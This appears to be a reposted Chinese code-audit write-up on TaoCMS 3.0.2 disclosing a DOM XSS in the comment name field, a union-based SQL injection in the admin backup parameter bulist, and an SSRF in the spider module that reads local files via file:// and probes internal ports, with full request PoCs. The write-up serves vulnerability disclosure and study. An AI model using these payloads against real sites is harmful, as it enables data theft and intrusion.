PHP代码审计之TaoCMS（SQL注入+SSRF 0day）

nykek5i

首发于先知社区

原文链接：

https://xz.aliyun.com/t/12499

原文作者：A2Cai

前言

大众好，我是A2Cai

今天给大众带来的是 TaoCMS 的代码审计

这是我审的第1个 CMS，倘若有错误请大众多多包涵

PS: 版本是 TaoCMS 3.0.2，本文审计到的都是我网络上没找到的，均已提交 CNVD。

前台 DOM 型 XSS

有点难受的是，我一起始以为这是个存储型 XSS（因此文案是这么来的呜呜呜

结果后面看了下实质是 DOM 型的 XSS...害处一下子降到底了

由于这个漏洞产生的原由是 后端过滤不严谨 + 前端直接操作节点属性 引起的

不死心的我又跑去后台看了一下 ，瞧瞧有无解析...答案是不是定的

因此说防御 XSS 漏洞需要对输入和输出进行防御....

即便传进去 XSS Poc 了亦执行不了呜呜呜呜

漏洞复现

首要，点击首页任意一篇文案，这儿就选一起始默认的文案

往下拉发掘有个评论功能

依次填入以下poc：

姓名：aaa)+alert(1)+(

邮箱：www.gdit.edu.cn@qq.com

网址：www.baidu.com

验证码：按需求输入

评论：随意

而后点击提交评论

看到上面被插进了用户的留言，而后点击 回复

发掘 XSS poc 被触发

代码审计

这儿的功能在 Model/Comment.php 下被实现

经过抓包，咱们能够看到 姓名 这个的参数名是 name

在代码中不难发掘，name 参数是运用 safeword 办法进行了两次过滤处理

跟踪到 safeword 办法

 level 3 和 level 5 两个等级的 safeword 办法对传入的字符串进行了以下处理：

strip_tags 去除所有 HTML、XML、PHP 的标签。htmlspecialchars 把预定义的字符转换成 HTML 实体。nl2br 把字符串中的 \n 转换成 <br>。

但这种过滤防护忽略了一种状况：

便是当用户的输入会被插进在 HTML 标签的属性时，该过滤办法将完全失效。

回到前端代码，F12 定位到回复的这个超链接中

定位到 backcomment 函数

发掘它是简单拼接后就直接给节点赋值

正常情况下，用户自定义的名字，会被插进到 backcomment 函数中被两个单引号包含起来

咱们能够经过 ) 来逃逸 backcomment 函数的范围

因为是 return，因此即便有分号亦不会再往后执行

咱们能够经过 + 对 return 的内容进行拼接，就变成下面这个样子

最后点击回复就可触发 DOM XSS

SQL 注入

漏洞复现

因为这个漏洞点是直接审的代码

因此亦就没这么多过程了

直接上 Poc

GET /admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8 HTTP/1.1Host: phpcode.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://phpcode.com/admin/admin.php?action=datastore&ctrl=displayCookie: PHPSESSID=ecfspc92npb6f3napn1j1c11l1; tao_dig27=1682952434Upgrade-Insecure-Requests: 1

响应包：

不外后面还是稍微翻了一下

功能点在这儿

又稍稍上 CNVD 看了一眼，好似无人和我提交同样的（亦可能是没公开

PS：我怎么晓得的呢？由于我是直接上 github 翻这套 CMS 的 issue 的，里面有漏洞仔细的信息。

代码审计

功能实现掌控器在 Model/Datastore.php

漏洞产生点在 create 办法

这段代码的规律，大体上是经过 GET 获取 bulist 参数的值

对 bulist 参数的值进行分割，而后分批读取数据库内的所有表的所有数据

并写入到 backup-xxxxx.sql 中供用户下载

简而言之，便是一个数据库的备份功能

但这儿并无对 bulist 的值进行任何过滤，就插进 "select * from " 后面而后执行

最后会引起 SQL 注入的出现

Poc：

http://xxx.com/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8

重视：

Referer 的值要为

http://xxx.com/admin/admin.php?action=datastore&ctrl=display 

,否则会没法执行。

SSRF

漏洞复现

实战从没利用成功的 SSRF 最终让我代审给你捕到了

人麻了，人与人之间要是多点信任，少点防火墙那该有多好啊

下面是漏洞复现

登录后台，进到这个页面

而后更改为以下配置

点击起始采集

这个时候倘若抓包的话，会发掘是服务端返回的信息

而不是客户端发起的请求，因此是个 SSRF

而后尝试 file 伪协议读文件

Poc：file:///D:/1.txt?

重视：? 号必定得带，至于为啥看后面有讲

尝试探测端口

Poc：http://127.0.0.1:3306/?

代码审计

这次漏洞点在 Module/Spider.php 的 execute 办法

定位到 execute 办法（代码有点长我只截图关键的...

发掘有个可能有问题的办法 fetchurl

定位到 fetchurl 办法，如下图所示

发掘便是传入一个链接，而后直接拖取数据的办法

这种倘若无对传入的链接做出限定的话，很可能会引起 SSRF 漏洞

此时候能够往回瞧瞧，瞧瞧 fetchurl 传入的三个参数可不可控，有没被过滤

发掘无任何的过滤，那就可以说尝试瞧瞧 SSRF 了

不外接下来还要思虑下是不是能输出...继续看下去

这一段的规律是：

看下指定的编码是不是 UTF-8，倘若不是就转换。运用 preg_match 去获取符合正则的内容，放到 titlearray 数组中，并将其赋值给 data["name"]。最后 打印 data["name"] 的值。

因此到了这儿，问题就变成为了 “怎样让获取的内容符合正则表达式呢？”

这儿会发掘说，诶这个 titlepreg 的正则是哪来的？

往上翻会发掘有个 createpreg 的办法，定位到这个办法看下

下面是定位到的 createpreg 办法

发掘这个办法其实很简单，便是字符串替换而后返回个正则表达式吗

按照前面的代码能够晓得，name 参数的值是被写死的，咱们可控的是 preg 参数的值

咱们最后的目的是为了让它返回所有的内容吗

因此结合 return 后面的值来看，咱们只需要传入 .* 就可

但这儿还要重视一个点，便是 preg_match 这个函数

当你传入第三个值的时候，就会将搜索结果填充到第三个参数中

因此前面的正则表达式还需要加上 () 才可有搜索结果

最后得到的正则表达式便是 (.*)

而后找到调用这个办法的业务点（懒得拼接参数

开代理抓包：

GET /admin/admin.php?front=http%3A%2F%2Fwww.baidu.com%2F%3F&start=1&rend=2&back=.htm&each=2&basecode=utf-8&titlepreg=%28.*%29&contentpreg=%28.*%29&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86&test=1 HTTP/1.1Host: phpcode.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://phpcode.com/admin/admin.php?action=spider&ctrl=displayCookie: PHPSESSID=ecfspc92npb6f3napn1j1c11l1; tao_dig27=1682952434; caf_ipaddr=3.0.92.142; country=SG; city="Singapore"; expiry_partner=; __gsas=ID=a4732952401d9990:T=1682933879:S=ALNI_MZCN7IrRihmqjkL4o8N7JGsDAxHwQ; pvisitor=c0664828-e038-4d7c-b430-bff02e4113ddUpgrade-Insecure-Requests: 1

后面就大差不差了，详细的都在上面漏洞复现里展示了

就还有要重视的一个点...

是运用 file:// 伪协议去读文件的时候，需要在末尾加个 ? 号或 # 号

由于它这个采集数据的时候，会拼接数字做为采集的范围

urlback 参数能够为空，但 i 参数必定是个整数

因此要用 ? 或 # 去注释掉后面拼接的数字

Poc：file%3A%2F%2F%2FD%3A%2F1.txt%23

nykek5i

楼主发的这篇帖子，我觉得非常有道理。